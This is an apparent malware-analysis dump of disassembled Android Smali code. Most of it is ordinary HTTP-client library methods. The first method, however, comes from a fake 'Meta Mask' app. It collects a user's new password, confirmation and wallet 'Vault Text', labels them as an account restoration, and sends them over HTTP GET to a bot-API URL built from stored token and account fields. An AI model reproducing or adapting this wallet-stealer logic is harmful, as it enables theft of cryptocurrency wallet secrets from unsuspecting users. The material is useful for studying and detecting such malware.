        11invoke-virtual {p1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        12move-result-object p1
        14invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        15move-result-object p1
        17iget-object v0, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        19iget-object v0, v0, Lcom/lemon/metamask/Activity/WalletSeedActivity;->passwordr:Landroid/widget/EditText;
        21invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        22move-result-object v0
        24invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
        25move-result-object v0
        27iget-object v1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        29iget-object v1, v1, Lcom/lemon/metamask/Activity/WalletSeedActivity;->vault_txt:Landroid/widget/EditText;
        31invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        32move-result-object v1
        34invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        35move-result-object v1
        37invoke-virtual {p1}, Ljava/lang/String;->isEmpty()Z
        38move-result v2
        39if-eqz v2, :cond_44
        41iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        43iget-object p1, p1, Lcom/lemon/metamask/Activity/WalletSeedActivity;->passwordr:Landroid/widget/EditText;
        45invoke-virtual {p1}, Landroid/widget/EditText;->requestFocus()Z
        47iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        49iget-object p1, p1, Lcom/lemon/metamask/Activity/WalletSeedActivity;->passwordr:Landroid/widget/EditText;
        51const-string v0, "Please enter new Password"
        53invoke-virtual {p1, v0}, Landroid/widget/EditText;->setError(Ljava/lang/CharSequence;)V
        54goto/16 :goto_116
        55cond_44:
        56invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
        57move-result v2
        58if-eqz v2, :cond_5c
        60iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        62iget-object p1, p1, Lcom/lemon/metamask/Activity/WalletSeedActivity;->confirm_passwordr:Landroid/widget/EditText;
        64invoke-virtual {p1}, Landroid/widget/EditText;->requestFocus()Z
        66iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        68iget-object p1, p1, Lcom/lemon/metamask/Activity/WalletSeedActivity;->confirm_passwordr:Landroid/widget/EditText;
        70const-string v0, "Please enter new Password"
        72invoke-virtual {p1, v0}, Landroid/widget/EditText;->setError(Ljava/lang/CharSequence;)V
        73goto/16 :goto_116
        74cond_5c:
        75invoke-virtual {v1}, Ljava/lang/String;->isEmpty()Z
        76move-result v2
        77if-eqz v2, :cond_74
        79iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        81iget-object p1, p1, Lcom/lemon/metamask/Activity/WalletSeedActivity;->vault_txt:Landroid/widget/EditText;
        83invoke-virtual {p1}, Landroid/widget/EditText;->requestFocus()Z
        85iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        87iget-object p1, p1, Lcom/lemon/metamask/Activity/WalletSeedActivity;->vault_txt:Landroid/widget/EditText;
        89const-string v0, "Please enter new Password"
        91invoke-virtual {p1, v0}, Landroid/widget/EditText;->setError(Ljava/lang/CharSequence;)V
        92goto/16 :goto_116
        93cond_74:
        94iget-object v2, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        96iget-object v2, v2, Lcom/lemon/metamask/Activity/WalletSeedActivity;->passwordr:Landroid/widget/EditText;
        98invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        99move-result-object v2
        101invoke-interface {v2}, Landroid/text/Editable;->clear()V
        103iget-object v2, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        105iget-object v2, v2, Lcom/lemon/metamask/Activity/WalletSeedActivity;->confirm_passwordr:Landroid/widget/EditText;
        107invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        108move-result-object v2
        110invoke-interface {v2}, Landroid/text/Editable;->clear()V
        112iget-object v2, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        114iget-object v2, v2, Lcom/lemon/metamask/Activity/WalletSeedActivity;->vault_txt:Landroid/widget/EditText;
        116invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        117move-result-object v2
        119invoke-interface {v2}, Landroid/text/Editable;->clear()V
        121invoke-static {}, Lcom/lemon/metamask/Util/Method;->getDeviceName()Ljava/lang/String;
        122move-result-object v2
        124iget-object v3, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        126iget-object v3, v3, Lcom/lemon/metamask/Activity/WalletSeedActivity;->TAG:Ljava/lang/String;
        128invoke-static {v3, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        129new-instance v3, Ljava/lang/StringBuilder;
        131invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        133const-string v4, "**From Meta Mask App** \n Phone Model "
        135invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        137invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        139const-string v2, "\n\n\n**Account Restoration** \nNew Password: "
        141invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        143invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        145const-string p1, "\nConfirm Password: "
        147invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        149invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        151const-string p1, "\n\nVault Text: \n"
        153invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        155invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        157invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        158move-result-object p1
        159new-instance v0, Ljava/lang/StringBuilder;
        161invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        163sget-object v1, Lcom/lemon/metamask/Util/Method;->apiLink:Ljava/lang/String;
        165invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        167sget-object v1, Lcom/lemon/metamask/Util/Method;->botoken:Ljava/lang/String;
        169invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        171sget-object v1, Lcom/lemon/metamask/Util/Method;->sendMsg:Ljava/lang/String;
        173invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        175sget-object v1, Lcom/lemon/metamask/Util/Method;->acc_id:Ljava/lang/String;
        177invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        179sget-object v1, Lcom/lemon/metamask/Util/Method;->texti:Ljava/lang/String;
        181invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        183invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        185invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        186move-result-object p1
        187try_start_ee: new-instance v0, Lcom/loopj/android/http/AsyncHttpClient;
        189invoke-direct {v0}, Lcom/loopj/android/http/AsyncHttpClient;-><init>()V
        190const/4 v1, 0x0
        191new-instance v2, Lcom/lemon/metamask/Activity/WalletSeedActivity$2$1;
        193invoke-direct {v2, p0}, Lcom/lemon/metamask/Activity/WalletSeedActivity$2$1;-><init>(Lcom/lemon/metamask/Activity/WalletSeedActivity$2;)V
        195invoke-virtual {v0, p1, v1, v2}, Lcom/loopj/android/http/AsyncHttpClient;->get(Ljava/lang/String;Lcom/loopj/android/http/RequestParams;Lcom/loopj/android/http/ResponseHandlerInterface;)Lcom/loopj/android/http/RequestHandle;
        196try_end_fc: goto/16 :goto_116
        197catch_fd: move-exception p1
        199iget-object v0, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        201iget-object v0, v0, Lcom/lemon/metamask/Activity/WalletSeedActivity;->TAG:Ljava/lang/String;
        203invoke-static {p1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
        204move-result-object p1
        206invoke-static {v0, p1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        207goto/16 :goto_116
        208cond_10a:
        209iget-object p1, p0, Lcom/lemon/metamask/Activity/WalletSeedActivity$2;->this$0:Lcom/lemon/metamask/Activity/WalletSeedActivity;
        211const-string v0, "Check Your Internet Connection"
        212const/4 v1, 0x1
        214invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
        215move-result-object p1
        217invoke-virtual {p1}, Landroid/widget/Toast;->show()V
        218goto_116: return-void
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • , expectContinueEnabled=
        • , proxy=
        • , localAddress=
        • , staleConnectionCheckEnabled=
        • , cookieSpec=
        • , redirectsEnabled=
        • , relativeRedirectsAllowed=
        • , maxRedirects=
        • , circularRedirectsAllowed=
        • , authenticationEnabled=
        • , targetPreferredAuthSchemes=
        • , proxyPreferredAuthSchemes=
        • , connectionRequestTimeout=
        • , connectTimeout=
        • , socketTimeout=
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, ", expectContinueEnabled="
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7iget-boolean v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->expectContinueEnabled:Z
        9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        11const-string v1, ", proxy="
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        15iget-object v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->proxy:Lcz/msebera/android/httpclient/HttpHost;
        17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        19const-string v1, ", localAddress="
        21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        23iget-object v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->localAddress:Ljava/net/InetAddress;
        25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        27const-string v1, ", staleConnectionCheckEnabled="
        29invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30iget-boolean v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->staleConnectionCheckEnabled:Z
        32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        34const-string v1, ", cookieSpec="
        36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38iget-object v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->cookieSpec:Ljava/lang/String;
        40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        42const-string v1, ", redirectsEnabled="
        44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        45iget-boolean v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->redirectsEnabled:Z
        47invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        49const-string v1, ", relativeRedirectsAllowed="
        51invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52iget-boolean v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->relativeRedirectsAllowed:Z
        54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        56const-string v1, ", maxRedirects="
        58invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        59iget v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->maxRedirects:I
        61invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        63const-string v1, ", circularRedirectsAllowed="
        65invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        66iget-boolean v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->circularRedirectsAllowed:Z
        68invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        70const-string v1, ", authenticationEnabled="
        72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        73iget-boolean v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->authenticationEnabled:Z
        75invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        77const-string v1, ", targetPreferredAuthSchemes="
        79invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81iget-object v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->targetPreferredAuthSchemes:Ljava/util/Collection;
        83invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        85const-string v1, ", proxyPreferredAuthSchemes="
        87invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        89iget-object v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->proxyPreferredAuthSchemes:Ljava/util/Collection;
        91invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        93const-string v1, ", connectionRequestTimeout="
        95invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        96iget v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->connectionRequestTimeout:I
        98invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        100const-string v1, ", connectTimeout="
        102invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        103iget v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->connectTimeout:I
        105invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        107const-string v1, ", socketTimeout="
        109invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        110iget v1, p0, Lcz/msebera/android/httpclient/client/config/RequestConfig;->socketTimeout:I
        112invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        114const-string v1, "]"
        116invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        118invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        119move-result-object v0
        120return-object v0
        Cross References
        APIs
        • java.net.URI.isOpaque
        • java.net.URI.getAuthority
        • java.net.URI.isAbsolute
        • java.net.URI.getPath
        • java.lang.String.split
        • java.util.Stack.<init>
        • java.lang.String.length
        • java.lang.String.equals
        • java.util.Stack.isEmpty
        • java.util.Stack.pop
        • java.util.Stack.push
        • java.lang.StringBuilder.<init>
        • java.util.Stack.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.append
        • java.lang.String.lastIndexOf
        • java.lang.String.length
        • java.lang.StringBuilder.append
        • java.net.URI.getScheme
        • java.lang.String.toLowerCase
        • java.net.URI.getAuthority
        • java.lang.String.toLowerCase
        • java.lang.StringBuilder.toString
        • java.net.URI.<init>
        • java.net.URI.getQuery
        • java.net.URI.getFragment
        • java.net.URI.toASCIIString
        • java.lang.StringBuilder.<init>
        • java.net.URI.getQuery
        • java.lang.StringBuilder.append
        • java.net.URI.getRawQuery
        • java.lang.StringBuilder.append
        • java.net.URI.getFragment
        • java.lang.StringBuilder.append
        • java.net.URI.getRawFragment
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.URI.create
        • java.lang.IllegalArgumentException.<init>
        Strings
        • Base URI must be absolute
        • /
        • .
        • ..
        Position Instruction Meta Information
        1invoke-virtual {p0}, Ljava/net/URI;->isOpaque()Z
        2move-result v0
        3if-nez v0, :cond_f3
        5invoke-virtual {p0}, Ljava/net/URI;->getAuthority()Ljava/lang/String;
        6move-result-object v0
        7if-nez v0, :cond_e
        8goto/16 :goto_f3
        9cond_e:
        10invoke-virtual {p0}, Ljava/net/URI;->isAbsolute()Z
        11move-result v0
        13const-string v1, "Base URI must be absolute"
        15invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Args;->check(ZLjava/lang/String;)V
        17invoke-virtual {p0}, Ljava/net/URI;->getPath()Ljava/lang/String;
        18move-result-object v0
        19if-nez v0, :cond_20
        21const-string v0, ""
        22goto/16 :goto_24
        23cond_20:
        24invoke-virtual {p0}, Ljava/net/URI;->getPath()Ljava/lang/String;
        25move-result-object v0
        26goto_24:
        27const-string v1, "/"
        29invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
        30move-result-object v1
        31new-instance v2, Ljava/util/Stack;
        33invoke-direct {v2}, Ljava/util/Stack;-><init>()V
        34array-length v3, v1
        35const/4 v4, 0x0
        36goto_31: if-ge v4, v3, :cond_5c
        37aget-object v5, v1, v4
        39invoke-virtual {v5}, Ljava/lang/String;->length()I
        40move-result v6
        41if-eqz v6, :cond_59
        43const-string v6, "."
        45invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        46move-result v6
        47if-eqz v6, :cond_44
        48goto/16 :goto_59
        49cond_44:
        50const-string v6, ".."
        52invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        53move-result v6
        54if-eqz v6, :cond_56
        56invoke-virtual {v2}, Ljava/util/Stack;->isEmpty()Z
        57move-result v5
        58if-nez v5, :cond_59
        60invoke-virtual {v2}, Ljava/util/Stack;->pop()Ljava/lang/Object;
        61goto/16 :goto_59
        62cond_56:
        63invoke-virtual {v2, v5}, Ljava/util/Stack;->push(Ljava/lang/Object;)Ljava/lang/Object;
        64cond_59: add-int/lit8 v4, v4, 0x1
        65goto/16 :goto_31
        66cond_5c: new-instance v1, Ljava/lang/StringBuilder;
        68invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        70invoke-virtual {v2}, Ljava/util/Stack;->iterator()Ljava/util/Iterator;
        71move-result-object v2
        72goto_65:
        73invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        74move-result v3
        75const/16 v4, 0x2f
        76if-eqz v3, :cond_7a
        78invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        79move-result-object v3
        80check-cast v3, Ljava/lang/String;
        82invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        84invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        85goto/16 :goto_65
        86cond_7a:
        87invoke-virtual {v0, v4}, Ljava/lang/String;->lastIndexOf(I)I
        88move-result v2
        90invoke-virtual {v0}, Ljava/lang/String;->length()I
        91move-result v0
        92add-int/lit8 v0, v0, -0x1
        93if-ne v2, v0, :cond_89
        95invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        96cond_89:
        97invoke-virtual {p0}, Ljava/net/URI;->getScheme()Ljava/lang/String;
        98move-result-object v0
        100sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        102invoke-virtual {v0, v2}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        103move-result-object v4
        105invoke-virtual {p0}, Ljava/net/URI;->getAuthority()Ljava/lang/String;
        106move-result-object v0
        108sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        110invoke-virtual {v0, v2}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        111move-result-object v5
        112new-instance v0, Ljava/net/URI;
        114invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        115move-result-object v6
        116const/4 v7, 0x0
        117const/4 v8, 0x0
        118move-object v3, v0
        120invoke-direct/range {v3 .. v8}, Ljava/net/URI;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
        122invoke-virtual {p0}, Ljava/net/URI;->getQuery()Ljava/lang/String;
        123move-result-object v1
        124if-nez v1, :cond_b6
        126invoke-virtual {p0}, Ljava/net/URI;->getFragment()Ljava/lang/String;
        127move-result-object v1
        128if-nez v1, :cond_b6
        129return-object v0
        130cond_b6: new-instance v1, Ljava/lang/StringBuilder;
        132invoke-virtual {v0}, Ljava/net/URI;->toASCIIString()Ljava/lang/String;
        133move-result-object v0
        135invoke-direct {v1, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
        137invoke-virtual {p0}, Ljava/net/URI;->getQuery()Ljava/lang/String;
        138move-result-object v0
        139if-eqz v0, :cond_d1
        140const/16 v0, 0x3f
        142invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        144invoke-virtual {p0}, Ljava/net/URI;->getRawQuery()Ljava/lang/String;
        145move-result-object v0
        147invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        148cond_d1:
        149invoke-virtual {p0}, Ljava/net/URI;->getFragment()Ljava/lang/String;
        150move-result-object v0
        151if-eqz v0, :cond_e3
        152const/16 v0, 0x23
        154invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        156invoke-virtual {p0}, Ljava/net/URI;->getRawFragment()Ljava/lang/String;
        157move-result-object p0
        159invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        160cond_e3:
        161invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        162move-result-object p0
        164invoke-static {p0}, Ljava/net/URI;->create(Ljava/lang/String;)Ljava/net/URI;
        165move-result-object p0
        166try_end_eb: return-object p0
        167catch_ec: move-exception p0
        168new-instance v0, Ljava/lang/IllegalArgumentException;
        170invoke-direct {v0, p0}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/Throwable;)V
        171throw v0
        172goto_f3: return-object p0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [maxObjectSize=
        • , maxCacheEntries=
        • , maxUpdateRetries=
        • , 303CachingEnabled=
        • , weakETagOnPutDeleteAllowed=
        • , heuristicCachingEnabled=
        • , heuristicCoefficient=
        • , heuristicDefaultLifetime=
        • , isSharedCache=
        • , asynchronousWorkersMax=
        • , asynchronousWorkersCore=
        • , asynchronousWorkerIdleLifetimeSecs=
        • , revalidationQueueSize=
        • , neverCacheHTTP10ResponsesWithQuery=
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[maxObjectSize="
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7iget-wide v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->maxObjectSize:J
        9invoke-virtual {v0, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        11const-string v1, ", maxCacheEntries="
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        14iget v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->maxCacheEntries:I
        16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        18const-string v1, ", maxUpdateRetries="
        20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        21iget v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->maxUpdateRetries:I
        23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        25const-string v1, ", 303CachingEnabled="
        27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28iget-boolean v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->allow303Caching:Z
        30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        32const-string v1, ", weakETagOnPutDeleteAllowed="
        34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        35iget-boolean v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->weakETagOnPutDeleteAllowed:Z
        37invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        39const-string v1, ", heuristicCachingEnabled="
        41invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        42iget-boolean v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->heuristicCachingEnabled:Z
        44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        46const-string v1, ", heuristicCoefficient="
        48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        49iget v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->heuristicCoefficient:F
        51invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
        53const-string v1, ", heuristicDefaultLifetime="
        55invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        56iget-wide v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->heuristicDefaultLifetime:J
        58invoke-virtual {v0, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        60const-string v1, ", isSharedCache="
        62invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63iget-boolean v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->isSharedCache:Z
        65invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        67const-string v1, ", asynchronousWorkersMax="
        69invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70iget v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->asynchronousWorkersMax:I
        72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        74const-string v1, ", asynchronousWorkersCore="
        76invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        77iget v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheConfig;->asynchronousWorkersCore:I
        79invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        81const-string v1, ", asynchronousWorkerIdleLifetimeSecs="
        83invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
